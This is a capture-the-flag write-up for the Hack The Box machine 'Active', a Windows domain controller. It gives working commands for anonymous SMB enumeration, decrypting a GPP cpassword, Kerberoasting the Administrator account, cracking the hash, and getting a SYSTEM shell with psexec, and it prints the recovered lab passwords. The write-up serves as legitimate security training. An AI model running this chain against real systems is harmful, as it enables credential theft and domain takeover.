🪶 HTB Active — Solution Notes

Platform: Hack The Box

Machine: Active

OS: Windows (Server 2008 R2 SP1)

Difficulty: Easy

Date: October 26, 2026

Theme: Active Directory, GPP Passwords, Kerberoasting

🗺️ Attack Chain

Nmap Scan → DC Identification → SMB Null Session → Replication Share → Groups.xml (GPP) → gpp-decrypt → SVC_TGS Creds → User Flag → Kerberoasting (GetUserSPNs) → Crack TGS Hash → Administrator Creds → psexec → SYSTEM → Root Flag

🧠 How Does a Hacker Think? — Before You Begin

The first job on any box is to let the open ports tell you what you are looking at. You are not just collecting a list of numbers, you are building a mental model of the target. On a Windows host, a specific cluster of ports is a fingerprint. If you see Kerberos, LDAP, Global Catalog and DNS all answering on the same machine, you are not looking at a random server. You are looking at the heart of an Active Directory environment: a Domain Controller. Once you know that, your whole approach changes. You stop thinking about web exploits and start thinking about domain enumeration, misconfigured shares, and trust relationships. The mindset is: identify the role first, then attack the role.

1️⃣ Reconnaissance

Port Scanning

A fast port sweep with rustscan was followed by a targeted nmap service and script scan on the discovered ports.

nmap -sV -sC -p 53,88,135,139,389,445,464,593,636,3268,3269,5722,9389,47001 10.129.10.43 -oN Active.txt

Key findings:

• Port 53 (DNS), 88 (Kerberos), 389 and 636 (LDAP/LDAPS), 3268 and 3269 (Global Catalog), 464 (kpasswd). This exact combination is the signature of a Domain Controller.
• nmap confirmed the host name as DC, the domain as active.htb, and the OS as Windows Server 2008 R2 SP1.
• SMB signing is enabled and required, which rules out SMB relay style attacks straight away.

/etc/hosts Setup

💡 Why Does /etc/hosts Matter?

echo "10.129.10.43  active.htb DC.active.htb" | sudo tee -a /etc/hosts

🧠 How Does a Hacker Think? — Enumerating Without Credentials

You have no username and no password yet. The natural first question is: what can I see without logging in at all? On a Domain Controller, SMB is the obvious place to look. Some misconfigured servers allow a null session, meaning you can list and sometimes read shares with no authentication. The question in your head is simple: is there a door here that opens without a key?

SMB Null Session

Listing shares anonymously succeeded.

smbclient -L //10.129.10.43 -N

The output showed the usual default shares (ADMIN$, C$, IPC$, NETLOGON, SYSVOL) plus one that does not belong there by default: Replication. A non-default share always raises the question "why is this here?"

2️⃣ Initial Access — GPP Passwords (MS14-025)

💡 What is the GPP / cpassword Vulnerability?

Step 1: Connect to the Replication Share

The anonymous session worked here too.

smbclient //10.129.10.43/Replication -N

Step 2: Map the Share

Recursive listing was enabled to walk the whole tree at once.

smb: \> recurse ON
smb: \> prompt OFF
smb: \> ls

The interesting file sat at the bottom of the policy tree:

\active.htb\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Preferences\Groups\Groups.xml

Step 3: Download Groups.xml

From inside the smbclient session:

get "active.htb\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Preferences\Groups\Groups.xml" /home/kali/Groups.xml

Step 4: Read the File

cat /home/kali/Groups.xml

The file revealed two things: the username active.htb\SVC_TGS and an encrypted cpassword blob.

Step 5: Decrypt the Password

The gpp-decrypt tool uses the leaked AES key to recover the plaintext.

gpp-decrypt "edBSHOwhZLTjt/QS9FeIcJ83mjWA98gw9guKOhJOdcqh+ZGMeXOsQbCpZ3xUjTLfCuNH8pG5aSVYdYw/NglVmQ"
# Result: GPPstillStandingStrong2k18

Step 6: Validate the Credentials

Before building anything on top of this, the credentials were confirmed.

nxc smb 10.129.10.43 -u SVC_TGS -p 'GPPstillStandingStrong2k18'
# [+] active.htb\SVC_TGS:GPPstillStandingStrong2k18

🚩 User Flag

With a valid account in hand, the Users share was now accessible. SVC_TGS could reach its own profile directory.

smbclient //10.129.10.43/Users -U active.htb/SVC_TGS%'GPPstillStandingStrong2k18'
smb: \> cd SVC_TGS\Desktop
smb: \> get user.txt /home/kali/user.txt

cat /home/kali/user.txt

🧠 How Does a Hacker Think? — Reading the Clues in a Name

The account you just cracked is called SVC_TGS. That name is not an accident. SVC means it is a service account. TGS is the Kerberos Ticket Granting Service. The machine is quietly telling you the intended path. Service accounts with a Service Principal Name can be attacked through Kerberoasting, and the fact that the author named the account after a Kerberos ticket is a strong hint. The mindset here is to read every name, label and detail as a potential signpost. Nothing on a box is placed by accident.

3️⃣ Privilege Escalation — Kerberoasting

💡 What is Kerberoasting?

Step 1: Request the SPN Tickets

Using the validated SVC_TGS credentials, SPN-enabled accounts were queried and their tickets requested.

impacket-GetUserSPNs active.htb/SVC_TGS:'GPPstillStandingStrong2k18' -dc-ip 10.129.10.43 -request

The result was the jackpot: the SPN belonged to Administrator, and the tool returned a $krb5tgs$23$... hash for the domain admin account.

Step 2: Save the Hash

The full hash line was saved to a file as a single line.

nano /home/kali/hash.txt

Step 3: Crack the Hash

Hashcat refused to run because the VM has no GPU / OpenCL platform, so John was used instead. John runs on CPU and auto-detected the hash type.

john --wordlist=/usr/share/wordlists/rockyou.txt /home/kali/hash.txt
# Result: Ticketmaster1968

💡 Note on the Hashcat Error

Step 4: Validate the Administrator Credentials

nxc smb 10.129.10.43 -u Administrator -p 'Ticketmaster1968'
# [+] active.htb\Administrator:Ticketmaster1968 (Pwn3d!)

The (Pwn3d!) tag confirms code execution is possible with this account.

🚩 Root Flag

A full SYSTEM shell was obtained over SMB using psexec with the Administrator credentials.

impacket-psexec active.htb/Administrator:'Ticketmaster1968'@10.129.10.43

Identity was confirmed, then the flag was read.

C:\> whoami
# nt authority\system

C:\> type C:\Users\Administrator\Desktop\root.txt

📚 Concepts Learned

• Service Fingerprinting: A specific cluster of ports (Kerberos, LDAP, Global Catalog, DNS) identifies a Domain Controller instantly. Recognize the role before choosing an attack.
• Null Sessions: Always test SMB for anonymous access. A single non-default share can be the whole foothold.
• GPP cpassword (MS14-025): Any leftover Groups.xml in SYSVOL with a cpassword is trivially decryptable, because the AES key is public.
• Credential Validation: Confirm every credential with a tool like netexec before building the next step on top of it. Never advance on an unverified assumption.
• Kerberoasting: Any valid domain user can request SPN tickets and crack them offline. Weak service account passwords collapse the entire domain.
• Tooling Flexibility: When hashcat cannot find a GPU in a VM, pivot to John or force CPU mode. Do not let an environment quirk stop the attack.

🔑 General Hacker Mindset Summary

1. Identify the Role First: The port list is a fingerprint. Knowing you face a Domain Controller reshapes every decision that follows.
2. Look Before You Authenticate: Ask what you can see with no credentials at all. Null sessions and world-readable shares are classic easy wins.
3. Read Every Name as a Clue: SVC_TGS was not a random label. The box told us the path. Pay attention to what the author put in front of you.
4. Validate Each Step: Confirm credentials and access before moving on. A verified foothold saves hours of chasing the wrong error later.